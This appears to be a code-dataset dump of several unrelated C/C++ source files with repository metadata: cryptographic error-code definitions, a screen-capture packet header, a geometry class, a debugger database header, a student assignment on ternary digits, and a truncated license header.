class/flag encountered while decoding. */ #define VERR_ASN1_CURSOR_TAG_FLAG_CLASS_MISMATCH (-22839) /** ASN.1 bit string object is out of bounds. */ #define VERR_ASN1_BITSTRING_OUT_OF_BOUNDS (-22840) /** Bad ASN.1 time object. */ #define VERR_ASN1_TIME_BAD_NORMALIZE_INPUT (-22841) /** Failed to normalize ASN.1 time object. */ #define VERR_ASN1_TIME_NORMALIZE_ERROR (-22842) /** Normalization of ASN.1 time object didn't work out. */ #define VERR_ASN1_TIME_NORMALIZE_MISMATCH (-22843) /** Invalid ASN.1 UTC TIME encoding. */ #define VERR_ASN1_INVALID_UTC_TIME_ENCODING (-22844) /** Invalid ASN.1 GENERALIZED TIME encoding. */ #define VERR_ASN1_INVALID_GENERALIZED_TIME_ENCODING (-22845) /** Invalid ASN.1 BOOLEAN encoding. */ #define VERR_ASN1_INVALID_BOOLEAN_ENCODING (-22846) /** Invalid ASN.1 NULL encoding. */ #define VERR_ASN1_INVALID_NULL_ENCODING (-22847) /** Invalid ASN.1 BIT STRING encoding. */ #define VERR_ASN1_INVALID_BITSTRING_ENCODING (-22848) /** Unimplemented ASN.1 tag reached the RTAsn1DynType code. */ #define VERR_ASN1_DYNTYPE_TAG_NOT_IMPL (-22849) /** ASN.1 tag and flags/class mismatch in RTAsn1DynType code. */ #define VERR_ASN1_DYNTYPE_BAD_TAG (-22850) /** Unexpected ASN.1 fake/dummy object. */ #define VERR_ASN1_DUMMY_OBJECT (-22851) /** ASN.1 object is too long. */ #define VERR_ASN1_TOO_LONG (-22852) /** Expected primitive ASN.1 object. */ #define VERR_ASN1_EXPECTED_PRIMITIVE (-22853) /** Expected valid data pointer for ASN.1 object. */ #define VERR_ASN1_INVALID_DATA_POINTER (-22854) /** The ASN.1 encoding is too deeply nested for the decoder. */ #define VERR_ASN1_TOO_DEEPLY_NESTED (-22855) /** ANS.1 internal error 1. */ #define VERR_ASN1_INTERNAL_ERROR_1 (-22895) /** ANS.1 internal error 2. */ #define VERR_ASN1_INTERNAL_ERROR_2 (-22896) /** ANS.1 internal error 3. */ #define VERR_ASN1_INTERNAL_ERROR_3 (-22897) /** ANS.1 internal error 4. */ #define VERR_ASN1_INTERNAL_ERROR_4 (-22898) /** ANS.1 internal error 5. */ #define VERR_ASN1_INTERNAL_ERROR_5 (-22899) /** @} */ /** @name More RTLdr status codes. * @{ */ /** Image Verficiation Failure: No Authenticode Signature. */ #define VERR_LDRVI_NOT_SIGNED (-22900) /** Image Verficiation Warning: No Authenticode Signature, but on whitelist. */ #define VINF_LDRVI_NOT_SIGNED (22900) /** Image Verficiation Failure: Error reading image headers. */ #define VERR_LDRVI_READ_ERROR_HDR (-22901) /** Image Verficiation Failure: Error reading section headers. */ #define VERR_LDRVI_READ_ERROR_SHDRS (-22902) /** Image Verficiation Failure: Error reading authenticode signature data. */ #define VERR_LDRVI_READ_ERROR_SIGNATURE (-22903) /** Image Verficiation Failure: Error reading file for hashing. */ #define VERR_LDRVI_READ_ERROR_HASH (-22904) /** Image Verficiation Failure: Error determining the file length. */ #define VERR_LDRVI_FILE_LENGTH_ERROR (-22905) /** Image Verficiation Failure: Error allocating memory for state data. */ #define VERR_LDRVI_NO_MEMORY_STATE (-22906) /** Image Verficiation Failure: Error allocating memory for authenticode * signature data. */ #define VERR_LDRVI_NO_MEMORY_SIGNATURE (-22907) /** Image Verficiation Failure: Error allocating memory for section headers. */ #define VERR_LDRVI_NO_MEMORY_SHDRS (-22908) /** Image Verficiation Failure: Authenticode parsing output. */ #define VERR_LDRVI_NO_MEMORY_PARSE_OUTPUT (-22909) /** Image Verficiation Failure: Invalid security directory entry. */ #define VERR_LDRVI_INVALID_SECURITY_DIR_ENTRY (-22910) /** Image Verficiation Failure: */ #define VERR_LDRVI_BAD_CERT_HDR_LENGTH (-22911) /** Image Verficiation Failure: */ #define VERR_LDRVI_BAD_CERT_HDR_REVISION (-22912) /** Image Verficiation Failure: */ #define VERR_LDRVI_BAD_CERT_HDR_TYPE (-22913) /** Image Verficiation Failure: More than one certificate table entry. */ #define VERR_LDRVI_BAD_CERT_MULTIPLE (-22914) /** Image Verficiation Failure: */ #define VERR_LDRVI_BAD_MZ_OFFSET (-22915) /** Image Verficiation Failure: Invalid section count. */ #define VERR_LDRVI_INVALID_SECTION_COUNT (-22916) /** Image Verficiation Failure: Raw data offsets and sizes are out of range. */ #define VERR_LDRVI_SECTION_RAW_DATA_VALUES (-22917) /** Optional header magic and target machine does not match. */ #define VERR_LDRVI_MACHINE_OPT_HDR_MAGIC_MISMATCH (-22918) /** Unsupported image target architecture. */ #define VERR_LDRVI_UNSUPPORTED_ARCH (-22919) /** Image Verification Failure: Internal error in signature parser. */ #define VERR_LDRVI_PARSE_IPE (-22921) /** Generic BER parse error. Will be refined later. */ #define VERR_LDRVI_PARSE_BER_ERROR (-22922) /** Expected the signed data content to be the object ID of * SpcIndirectDataContent, found something else instead. */ #define VERR_LDRVI_EXPECTED_INDIRECT_DATA_CONTENT_OID (-22923) /** Page hash table size overflow. */ #define VERR_LDRVI_PAGE_HASH_TAB_SIZE_OVERFLOW (-22924) /** Page hash table is too long (covers signature data, i.e. itself). */ #define VERR_LDRVI_PAGE_HASH_TAB_TOO_LONG (-22925) /** The page hash table is not strictly ordered by offset. */ #define VERR_LDRVI_PAGE_HASH_TAB_NOT_STRICTLY_SORTED (-22926) /** The page hash table hashes data outside the defined and implict sections. */ #define VERR_PAGE_HASH_TAB_HASHES_NON_SECTION_DATA (-22927) /** Page hash mismatch. */ #define VERR_LDRVI_PAGE_HASH_MISMATCH (-22928) /** Image hash mismatch. */ #define VERR_LDRVI_IMAGE_HASH_MISMATCH (-22929) /** Cannot resolve symbol because it's a forwarder. */ #define VERR_LDR_FORWARDER (-22950) /** The symbol is not a forwarder. */ #define VERR_LDR_NOT_FORWARDER (-22951) /** Malformed forwarder entry. */ #define VERR_LDR_BAD_FORWARDER (-22952) /** Too long forwarder chain or there is a loop. */ #define VERR_LDR_FORWARDER_CHAIN_TOO_LONG (-22953) /** Support for forwarders has not been implemented. */ #define VERR_LDR_FORWARDERS_NOT_SUPPORTED (-22954) /** @} */ /** @name RTCrX509 status codes. * @{ */ /** Generic X.509 error. */ #define VERR_CR_X509_GENERIC_ERROR (-23000) /** Internal error in the X.509 code. */ #define VERR_CR_X509_INTERNAL_ERROR (-23001) /** Internal error in the X.509 certificate path building and verification * code. */ #define VERR_CR_X509_CERTPATHS_INTERNAL_ERROR (-23002) /** Path not verified yet. */ #define VERR_CR_X509_NOT_VERIFIED (-23003) /** The certificate path has no trust anchor. */ #define VERR_CR_X509_NO_TRUST_ANCHOR (-23004) /** Unknown X.509 certificate signature algorithm. */ #define VERR_CR_X509_UNKNOWN_CERT_SIGN_ALGO (-23005) /** Certificate signature algorithm mismatch. */ #define VERR_CR_X509_CERT_SIGN_ALGO_MISMATCH (-23006) /** The signature algorithm in the to-be-signed certifcate part does not match * the one assoicated with the signature. */ #define VERR_CR_X509_CERT_TBS_SIGN_ALGO_MISMATCH (-23007) /** Certificate extensions requires certificate version 3 or later. */ #define VERR_CR_X509_TBSCERT_EXTS_REQ_V3 (-23008) /** Unique issuer and subject IDs require version certificate 2. */ #define VERR_CR_X509_TBSCERT_UNIQUE_IDS_REQ_V2 (-23009) /** Certificate serial number length is out of bounds. */ #define VERR_CR_X509_TBSCERT_SERIAL_NUMBER_OUT_OF_BOUNDS (-23010) /** Unsupported X.509 certificate version. */ #define VERR_CR_X509_TBSCERT_UNSUPPORTED_VERSION (-23011) /** Public key is too small. */ #define VERR_CR_X509_PUBLIC_KEY_TOO_SMALL (-23012) /** Invalid strnig tag for a X.509 name object. */ #define VERR_CR_X509_INVALID_NAME_STRING_TAG (-23013) /** Empty string in X.509 name object. */ #define VERR_CR_X509_NAME_EMPTY_STRING (-23014) /** Non-string object inside X.509 name object. */ #define VERR_CR_X509_NAME_NOT_STRING (-23015) /** Empty set inside X.509 name. */ #define VERR_CR_X509_NAME_EMPTY_SET (-23016) /** Empty sub-string set inside X.509 name. */ #define VERR_CR_X509_NAME_EMPTY_SUB_SET (-23017) /** The NotBefore and NotAfter values of an X.509 Validity object seems to * have been swapped around. */ #define VERR_CR_X509_VALIDITY_SWAPPED (-23018) /** Duplicate certificate extension. */ #define VERR_CR_X509_TBSCERT_DUPLICATE_EXTENSION (-23019) /** Missing relative distinguished name map entry. */ #define VERR_CR_X509_NAME_MISSING_RDN_MAP_ENTRY (-23020) /** Certificate path validator: No trusted certificate paths. */ #define VERR_CR_X509_CPV_NO_TRUSTED_PATHS (-23021) /** Certificate path validator: No valid certificate policy. */ #define VERR_CR_X509_CPV_NO_VALID_POLICY (-23022) /** Certificate path validator: Unknown critical certificate extension. */ #define VERR_CR_X509_CPV_UNKNOWN_CRITICAL_EXTENSION (-23023) /** Certificate path validator: Intermediate certificate is missing the * KeyCertSign usage flag. */ #define VERR_CR_X509_CPV_MISSING_KEY_CERT_SIGN (-23024) /** Certificate path validator: Hit the max certificate path length before * reaching trust anchor. */ #define VERR_CR_X509_CPV_MAX_PATH_LENGTH (-23025) /** Certificate path validator: Intermediate certificate is not marked as a * certificate authority (CA). */ #define VERR_CR_X509_CPV_NOT_CA_CERT (-23026) /** Certificate path validator: Intermeidate certificate is not a version 3 * certificate. */ #define VERR_CR_X509_CPV_NOT_V3_CERT (-23027) /** Certificate path validator: Invalid policy mapping (to/from anyPolicy). */ #define VERR_CR_X509_CPV_INVALID_POLICY_MAPPING (-23028) /** Certificate path validator: Name constraints permits no names. */ #define VERR_CR_X509_CPV_NO_PERMITTED_NAMES (-23029) /** Certificate path validator: Name constraints does not permits the * certificate name. */ #define VERR_CR_X509_CPV_NAME_NOT_PERMITTED (-23030) /** Certificate path validator: Name constraints does not permits the * alternative certificate name. */ #define VERR_CR_X509_CPV_ALT_NAME_NOT_PERMITTED (-23031) /** Certificate path validator: Intermediate certificate subject does not * match child issuer property. */ #define VERR_CR_X509_CPV_ISSUER_MISMATCH (-23032) /** Certificate path validator: The certificate is not valid at the * specificed time. */ #define VERR_CR_X509_CPV_NOT_VALID_AT_TIME (-23033) /** Certificate path validator: Unexpected choice found in general subtree * object (name constraints). */ #define VERR_CR_X509_CPV_UNEXP_GENERAL_SUBTREE_CHOICE (-23034) /** Certificate path validator: Unexpected minimum value found in general * subtree object (name constraints). */ #define VERR_CR_X509_CPV_UNEXP_GENERAL_SUBTREE_MIN (-23035) /** Certificate path validator: Unexpected maximum value found in * general subtree object (name constraints). */ #define VERR_CR_X509_CPV_UNEXP_GENERAL_SUBTREE_MAX (-23036) /** Certificate path builder: Encountered bad certificate context. */ #define VERR_CR_X509_CPB_BAD_CERT_CTX (-23037) /** OpenSSL d2i_X509 failed. */ #define VERR_CR_X509_OSSL_D2I_FAILED (-23090) /** @} */ /** @name RTCrPkcs7 status codes. * @{ */ /** Generic PKCS \#7 error. */ #define VERR_CR_PKCS7_GENERIC_ERROR (-23300) /** Signed data verfication failed because there are zero signer infos. */ #define VERR_CR_PKCS7_NO_SIGNER_INFOS (-23301) /** Signed data certificate not found. */ #define VERR_CR_PKCS7_SIGNED_DATA_CERT_NOT_FOUND (-23302) /** Signed data verification failed due to key usage issues. */ #define VERR_CR_PKCS7_KEY_USAGE_MISMATCH (-23303) /** Signed data verification failed because of missing (or duplicate) * authenticated content-type attribute. */ #define VERR_CR_PKCS7_MISSING_CONTENT_TYPE_ATTRIB (-23304) /** Signed data verification failed because of the authenticated content-type * attribute did not match. */ #define VERR_CR_PKCS7_CONTENT_TYPE_ATTRIB_MISMATCH (-23305) /** Signed data verification failed because of a malformed authenticated * content-type attribute. */ #define VERR_CR_PKCS7_BAD_CONTENT_TYPE_ATTRIB (-23306) /** Signed data verification failed because of missing (or duplicate) * authenticated message-digest attribute. */ #define VERR_CR_PKCS7_MISSING_MESSAGE_DIGEST_ATTRIB (-23307) /** Signed data verification failed because the authenticated message-digest * attribute did not match. */ #define VERR_CR_PKCS7_MESSAGE_DIGEST_ATTRIB_MISMATCH (-23308) /** Signed data verification failed because of a malformed authenticated * message-digest attribute. */ #define VERR_CR_PKCS7_BAD_MESSAGE_DIGEST_ATTRIB (-23309) /** Signature verification failed. */ #define VERR_CR_PKCS7_SIGNATURE_VERIFICATION_FAILED (-23310) /** Internal PKCS \#7 error. */ #define VERR_CR_PKCS7_INTERNAL_ERROR (-22311) /** OpenSSL d2i_PKCS7 failed. */ #define VERR_CR_PKCS7_OSSL_D2I_FAILED (-22312) /** OpenSSL PKCS \#7 verification failed. */ #define VERR_CR_PKCS7_OSSL_VERIFY_FAILED (-22313) /** Digest algorithm parameters are not supported by the PKCS \#7 code. */ #define VERR_CR_PKCS7_DIGEST_PARAMS_NOT_IMPL (-22314) /** The digest algorithm of a signer info entry was not found in the list of * digest algorithms in the signed data. */ #define VERR_CR_PKCS7_DIGEST_ALGO_NOT_FOUND_IN_LIST (-22315) /** The PKCS \#7 content is not signed data. */ #define VERR_CR_PKCS7_NOT_SIGNED_DATA (-22316) /** No digest algorithms listed in PKCS \#7 signed data. */ #define VERR_CR_PKCS7_NO_DIGEST_ALGORITHMS (-22317) /** Too many digest algorithms used by PKCS \#7 signed data. This is an * internal limitation of the code that aims at saving kernel stack space. */ #define VERR_CR_PKCS7_TOO_MANY_DIGEST_ALGORITHMS (-22318) /** Error creating digest algorithm calculator. */ #define VERR_CR_PKCS7_DIGEST_CREATE_ERROR (-22319) /** Error while calculating a digest for a PKCS \#7 verficiation operation. */ #define VERR_CR_PKCS7_DIGEST_CALC_ERROR (-22320) /** Unsupported PKCS \#7 signed data version. */ #define VERR_CR_PKCS7_SIGNED_DATA_VERSION (-22350) /** PKCS \#7 signed data has no digest algorithms listed. */ #define VERR_CR_PKCS7_SIGNED_DATA_NO_DIGEST_ALGOS (-22351) /** Unknown digest algorithm used by PKCS \#7 object. */ #define VERR_CR_PKCS7_UNKNOWN_DIGEST_ALGORITHM (-22352) /** Expected PKCS \#7 object to ship at least one certificate. */ #define VERR_CR_PKCS7_NO_CERTIFICATES (-22353) /** Expected PKCS \#7 object to not contain any CRLs. */ #define VERR_CR_PKCS7_EXPECTED_NO_CRLS (-22354) /** Expected PKCS \#7 object to contain exactly on signer info entry. */ #define VERR_CR_PKCS7_EXPECTED_ONE_SIGNER_INFO (-22355) /** Unsupported PKCS \#7 signer info version. */ #define VERR_CR_PKCS7_SIGNER_INFO_VERSION (-22356) /** PKCS \#7 singer info contains no issuer serial number. */ #define VERR_CR_PKCS7_SIGNER_INFO_NO_ISSUER_SERIAL_NO (-22357) /** Expected PKCS \#7 object to ship the signer certificate(s). */ #define VERR_CR_PKCS7_SIGNER_CERT_NOT_SHIPPED (-22358) /** The encrypted digest algorithm does not match the one in the certificate. */ #define VERR_CR_PKCS7_SIGNER_INFO_DIGEST_ENCRYPT_MISMATCH (-22359) /** @} */ /** @name RTCrSpc status codes. * @{ */ /** Generic SPC error. */ #define VERR_CR_SPC_GENERIC_ERROR (-23400) /** SPC requires there to be exactly one SignerInfo entry. */ #define VERR_CR_SPC_NOT_EXACTLY_ONE_SIGNER_INFOS (-23401) /** There shall be exactly one digest algorithm to go with the single * SingerInfo entry required by SPC. */ #define VERR_CR_SPC_NOT_EXACTLY_ONE_DIGEST_ALGO (-23402) /** The digest algorithm in the SignerInfo does not match the one in the * indirect data. */ #define VERR_CR_SPC_SIGNED_IND_DATA_DIGEST_ALGO_MISMATCH (-23403) /** The digest algorithm in the indirect data was not found in the list of * digest algorithms in the signed data structure. */ #define VERR_CR_SPC_IND_DATA_DIGEST_ALGO_NOT_IN_DIGEST_ALGOS (-23404) /** The digest algorithm is not known to us. */ #define VERR_CR_SPC_UNKNOWN_DIGEST_ALGO (-23405) /** The indirect data digest size does not match the digest algorithm. */ #define VERR_CR_SPC_IND_DATA_DIGEST_SIZE_MISMATCH (-23406) /** Exptected PE image data inside indirect data object. */ #define VERR_CR_SPC_EXPECTED_PE_IMAGE_DATA (-23407) /** Internal SPC error: The PE image data is missing. */ #define VERR_CR_SPC_PEIMAGE_DATA_NOT_PRESENT (-23408) /** Bad SPC object moniker UUID field. */ #define VERR_CR_SPC_BAD_MONIKER_UUID (-23409) /** Unknown SPC object moniker UUID. */ #define VERR_CR_SPC_UNKNOWN_MONIKER_UUID (-23410) /** Internal SPC error: Bad object monker choice value. */ #define VERR_CR_SPC_BAD_MONIKER_CHOICE (-23411) /** Internal SPC error: Bad object moniker data pointer. */ #define VERR_CR_SPC_MONIKER_BAD_DATA (-23412) /** Multiple PE image page hash tables. */ #define VERR_CR_SPC_PEIMAGE_MULTIPLE_HASH_TABS (-23413) /** Unknown SPC PE image attribute. */ #define VERR_CR_SPC_PEIMAGE_UNKNOWN_ATTRIBUTE (-23414) /** URL not expected in SPC PE image data. */ #define VERR_CR_SPC_PEIMAGE_URL_UNEXPECTED (-23415) /** PE image data without any valid content was not expected. */ #define VERR_CR_SPC_PEIMAGE_NO_CONTENT (-23416) /** @} */ /** @name RTCrPkix status codes. * @{ */ /** Generic PKCS \#7 error. */ #define VERR_CR_PKIX_GENERIC_ERROR (-23500) /** Parameters was presented to a signature schema that does not take any. */ #define VERR_CR_PKIX_SIGNATURE_TAKES_NO_PARAMETERS (-23501) /** Unknown hash digest type. */ #define VERR_CR_PKIX_UNKNOWN_DIGEST_TYPE (-23502) /** Internal error. */ #define VERR_CR_PKIX_INTERNAL_ERROR (-23503) /** The hash is too long for the key used when signing/verifying. */ #define VERR_CR_PKIX_HASH_TOO_LONG_FOR_KEY (-23504) /** The signature is too long for the scratch buffer. */ #define VERR_CR_PKIX_SIGNATURE_TOO_LONG (-23505) /** The signature is greater than or equal to the key. */ #define VERR_CR_PKIX_SIGNATURE_GE_KEY (-23506) /** The signature is negative. */ #define VERR_CR_PKIX_SIGNATURE_NEGATIVE (-23507) /** Invalid signature length. */ #define VERR_CR_PKIX_INVALID_SIGNATURE_LENGTH (-23508) /** PKIX signature no does not match up to the current data. */ #define VERR_CR_PKIX_SIGNATURE_MISMATCH (-23509) /** PKIX cipher algorithm parameters are not implemented. */ #define VERR_CR_PKIX_CIPHER_ALGO_PARAMS_NOT_IMPL (-23510) /** ipher algorithm is not known to us. */ #define VERR_CR_PKIX_CIPHER_ALGO_NOT_KNOWN (-23511) /** PKIX cipher algorithm is not known to OpenSSL. */ #define VERR_CR_PKIX_OSSL_CIPHER_ALGO_NOT_KNOWN (-23512) /** PKIX cipher algorithm is not known to OpenSSL EVP API. */ #define VERR_CR_PKIX_OSSL_CIPHER_ALGO_NOT_KNOWN_EVP (-23513) /** OpenSSL failed to init PKIX cipher algorithm context. */ #define VERR_CR_PKIX_OSSL_CIPHER_ALOG_INIT_FAILED (-23514) /** Final OpenSSL PKIX verification failed. */ #define VERR_CR_PKIX_OSSL_VERIFY_FINAL_FAILED (-23515) /** OpenSSL failed to decode the public key. */ #define VERR_CR_PKIX_OSSL_D2I_PUBLIC_KEY_FAILED (-23516) /** The EVP_PKEY_type API in OpenSSL failed. */ #define VERR_CR_PKIX_OSSL_EVP_PKEY_TYPE_ERROR (-23517) /** @} */ /** @name RTCrStore status codes. * @{ */ /** Generic store error. */ #define VERR_CR_STORE_GENERIC_ERROR (-23700) /** @} */ /** @name RTCrRsa status codes. * @{ */ /** Generic RSA error. */ #define VERR_CR_RSA_GENERIC_ERROR (-23900) /** @} */ /** @name RTBigNum status codes. * @{ */ /** Sensitive input requires the result(s) to be initialized as sensitive. */ #define VERR_BIGNUM_SENSITIVE_INPUT (-24000) /** Attempt to divide by zero. */ #define VERR_BIGNUM_DIV_BY_ZERO (-24001) /** Negative exponent makes no sense to integer math. */ #define VERR_BIGNUM_NEGATIVE_EXPONENT (-24002) /** @} */ /** @name RTCrDigest status codes. * @{ */ /** OpenSSL failed to initialize the digest algorithm contextn. */ #define VERR_CR_DIGEST_OSSL_DIGEST_INIT_ERROR (-24200) /** OpenSSL failed to clone the digest algorithm contextn. */ #define VERR_CR_DIGEST_OSSL_DIGEST_CTX_COPY_ERROR (-24201) /** @} */ /* SED-END */ /** @} */ #endif
[ "stutsmans@ainfosec.com" ]
stutsmans@ainfosec.com
62f90e3e3a01873cee7bd73f9f9c2c8a2000a2de
0ef4f71c8ff2f233945ee4effdba893fed3b8fad
/misc_microsoft_gamedev_source_code/misc_microsoft_gamedev_source_code/tools/screencap/screenCapProtocol.h
771c6651f6ee3dca8b46da7eb78ad94d7602b1b2
[]
no_license
sgzwiz/misc_microsoft_gamedev_source_code
1f482b2259f413241392832effcbc64c4c3d79ca
39c200a1642102b484736b51892033cc575b341a
refs/heads/master
2022-12-22T11:03:53.930024
2020-09-28T20:39:56
2020-09-28T20:39:56
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,853
h
//------------------------------------------------------------------------------------------------- // // File: screenCapProtocol.h // Copyright (c) 2007, Ensemble Studios // //------------------------------------------------------------------------------------------------- #pragma once #include "hash\crc.h" namespace ScreenCapProtocol { enum { cScreenCapVersion = 0x100, cProtocolVersion = 0x100, cPort = 3667, }; enum ePacketTypes { cPTInvalid = -1, cPTHello, cPTBye, cPTFrame, }; #pragma pack(push, 1) struct BPacketHeader { enum { cSig = 0xDAB70976 }; DWORD mSig; DWORD mDataSize; DWORD mDataCRC32; BYTE mType; BYTE mFlags; WORD mHeaderCRC16; enum { cFlagDataIsNameValueMap = 1 }; BPacketHeader() { } BPacketHeader(DWORD dataSize, DWORD dataCRC32, BYTE type, BYTE flags, bool bigEndian) : mSig((DWORD)cSig), mDataSize(dataSize), mDataCRC32(dataCRC32), mType(type), mFlags(flags) { if (bigEndian != cBigEndianNative) { endianSwitch(); mHeaderCRC16 = computeHeaderCRC16(); EndianSwitchWords(&mHeaderCRC16, 1); } else { mHeaderCRC16 = computeHeaderCRC16(); } } uint16 computeHeaderCRC16(void) const { return calcCRC16Fast(this, sizeof(*this) - sizeof(WORD)); } void endianSwitch(void) { EndianSwitchWorker(this, this + 1, "iiiccs"); } }; #pragma pack(pop) }
[ "benjamin.barratt@icloud.com" ]
benjamin.barratt@icloud.com
95d71079ecd1e834b9a1478d6fcb0bfb516455df
48c170a17dbb21872070d6c57f10678c47f62625
/src/geometry/Rectangle.cpp
09e3d839783585cad19d04e4ae5752b1e2bc5950
[]
no_license
DavidSichau/UtilLib
9e076529a504f64d2c3947cdf12a23b0b54ff8e2
acf79d3162a0998589a039948a36080f0b12b2d2
refs/heads/master
2021-01-23T04:03:04.676012
2014-07-22T07:16:16
2014-07-22T07:16:16
null
0
0
null
null
null
null
UTF-8
C++
false
false
2,373
cpp
/* Copyright (c) 2013 David Sichau <mail"at"sichau"dot"eu> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * */ #include <UtilLib/include/geometry/Rectangle.hpp> namespace UtilLib { namespace geometry { Rectangle::Rectangle( double n, double s, double w, double e) : north(n), south(s), west(w), east(e) {} Rectangle::Rectangle( double x, double y, double size) : north(y + size / 2), south(y - size / 2), west(x - size / 2), east(x + size / 2) {} bool Rectangle::within(const Rectangle& rect) const { return within(rect.north, rect.south, rect.west, rect.east); } bool Rectangle::within( double n, double s, double w, double e) const { if (s > north || s < south) return false; if (n < south || n > north) return false; if (w > east || w < west) return false; if (e < west || e > east) return false; return true; } bool Rectangle::pointWithinBounds( double x, double y) const { if ((x >= west) && (x < east) && (y <= north) && (y > south)) { return true; } else { return false; } } } // end namespace } // end namespace
[ "mail@sichau.eu" ]
mail@sichau.eu
068cd0e84d509fabc40c6f35b48cb1668e4b3709
7a0292c146e4a94205d2c70bb558aa86436819a9
/qtNanomite/clsDBManager.h
b2d26a1cb3e783bffc8baf8d205cda404110af21
[]
no_license
tr4ceflow/Nanomite
beff56079b7a389671809afe138d940d73a645e8
b14a207893f9efc1f257404e79b3e963ea299b85
refs/heads/master
2020-05-29T11:07:37.571103
2014-05-01T18:02:31
2014-05-01T18:02:31
19,343,371
1
0
null
null
null
null
UTF-8
C++
false
false
1,629
h
/* * This file is part of Nanomite. * * Nanomite is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Nanomite is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Nanomite. If not, see <http://www.gnu.org/licenses/>. */ #ifndef CLSDBMANAGER_H #define CLSDBMANAGER_H #include "clsDBInterface.h" #include <vector> class clsDBManager { public: struct DB { int PID; clsDBInterface *DBi; }; clsDBManager(); ~clsDBManager(); static bool DBAPI_getSymbolsFromPID(int PID,unsigned long long Key,std::wstring &ModName,std::wstring &FuncName); static bool DBAPI_insertSymbolsFromPID(int PID,unsigned long long Key,std::wstring ModName,std::wstring FuncName); // static bool DBAPI_insertTraceInfo(unsigned long long currentOffset,int PID,int TID,std::wstring currentInstruction,std::wstring currentRegs); // static bool DBAPI_getTraceInfo(int count,unsigned long long startOffset,int &PID, int &TID,std::vector<std::wstring> instructions,std::vector<std::wstring> regs); static bool OpenNewFile(int PID,std::wstring FilePath); static bool CloseFile(int PID); private: static clsDBManager* pThis; std::vector<DB> DBs; }; #endif
[ "zer0fl4g@gmail.com" ]
zer0fl4g@gmail.com
80552e0899917133c7aa9155ec92c11b7dbffd3c
b240383bfe38f94a7753293aca1a2d8ee225a856
/Final/Dataset/B2016_Z1_Z1/student8329.cpp
d4da5f570323de178714560db723b4994d410f47
[ "MIT" ]
permissive
Team-PyRated/PyRated
2daa9866e45c75814c24fe073b8be321822f3e4c
1df171c8a5a98977b7a96ee298a288314d1b1b96
refs/heads/main
2023-06-22T08:27:53.615611
2021-07-17T18:44:37
2021-07-17T18:44:37
354,628,313
0
0
null
null
null
null
UTF-8
C++
false
false
2,104
cpp
/*B 2016/2017, Zadaća 1, Zadatak 1 NAPOMENA: ulaz/izlaz za zadatke je specificiran javnim autotestovima. Zalbe za ne analiziranje testova se ne uvazavaju! NAPOMENA: nece svi (javni) testovi sa zamgera biti dostupni na c9. */ #include<iostream> #include<vector> #include<cmath> using std::cout; using std::cin; std::vector<int>PretvaranjeUTernarne(long long int a){ std::vector<int>v; if(a==0)v.push_back(a); while(a!=0){ int c=std::abs(a%3); v.push_back(c); a=a/3; } return v; } std::vector<int> IzdvojiGadne(std::vector<int>v1, bool a){ std::vector<int>v; if(a) { for(long long int i: v1){ std::vector<int>v3(PretvaranjeUTernarne(i)); long long int brnula(0),brjed(0),brdv(0); for(auto j: v3){ if(j==0)brnula++; if(j==1)brjed++; if(j==2)brdv++; } if(brnula%2==0 && brjed%2==0 && brdv%2==0)v.push_back(i); } for(int i=0;i<v.size();i++){ for(int j=i+1;j<v.size();j++){ if(v.at(i)==v.at(j)){ v.erase(v.begin()+j); j--; } } } return v; } else{ for(long long int i: v1){ std::vector<int>v3(PretvaranjeUTernarne(i)); long long int brnula(0),brjed(0),brdv(0); for(auto j: v3){ if(j==0)brnula++; if(j==1)brjed++; if(j==2)brdv++; } if((brnula%2!=0 || brnula==0) && (brjed%2!=0 || brjed==0) && (brdv%2!=0 || brdv==0))v.push_back(i); } for(int i=0;i<v.size();i++){ for(int j=i+1;j<v.size();j++){ if(v.at(i)==v.at(j)){ v.erase(v.begin()+j); j--; } } } return v; } } int main () { std::vector<int>v; cout<<"Unesite brojeve (0 za prekid unosa): "; int n; do{ cin>>n; if(n!=0){ v.push_back(n); } }while(n!=0); auto opaki=IzdvojiGadne(v,true), odvratni=IzdvojiGadne(v,false); cout<<"Opaki: "; for(const auto &x: opaki){ cout<<x<<" "; } cout<<std::endl<<"Odvratni: "; for(const auto &x: odvratni) { cout<<x<<" "; } return 0; }
[ "noreply@github.com" ]
Team-PyRated.noreply@github.com
fc76bf5c4315260ceb95645bee58eabff86be29d
bd2ddededcbc6c7ef03b6946cb9ff1a38c9ad02b
/include/MargotPrimaryGeneratorAction.hh
9214a9eca3595faa5666638de0e2d2b4e0ae63cd
[]
no_license
alourei/ProtonDetector
27cb9d969ab8e459cc16267b9edc93f71a7f5dee
89ebc98ea46f177ea21d15e401a1125b05a405e3
refs/heads/master
2016-08-12T06:09:01.833670
2015-05-29T14:10:40
2015-05-29T14:10:40
36,507,230
0
0
null
null
null
null
UTF-8
C++
false
false
2,865
hh
// // ******************************************************************** // * License and Disclaimer * // * * // * The Geant4 software is copyright of the Copyright Holders of * // * the Geant4 Collaboration. It is provided under the terms and * // * conditions of the Geant4 Software License, included in the file * // * LICENSE and available at http://cern.ch/geant4/license . These * // * include a list of copyright holders. * // * * // * Neither the authors of this software system, nor their employing * // * institutes,nor the agencies providing financial support for this * // * work make any representation or warranty, express or implied, * // * regarding this software system or assume any liability for its * // * use. Please see the license in the file LICENSE and URL above * // * for the full disclaimer and the limitation of liability. * // * * // * This code implementation is the result of the 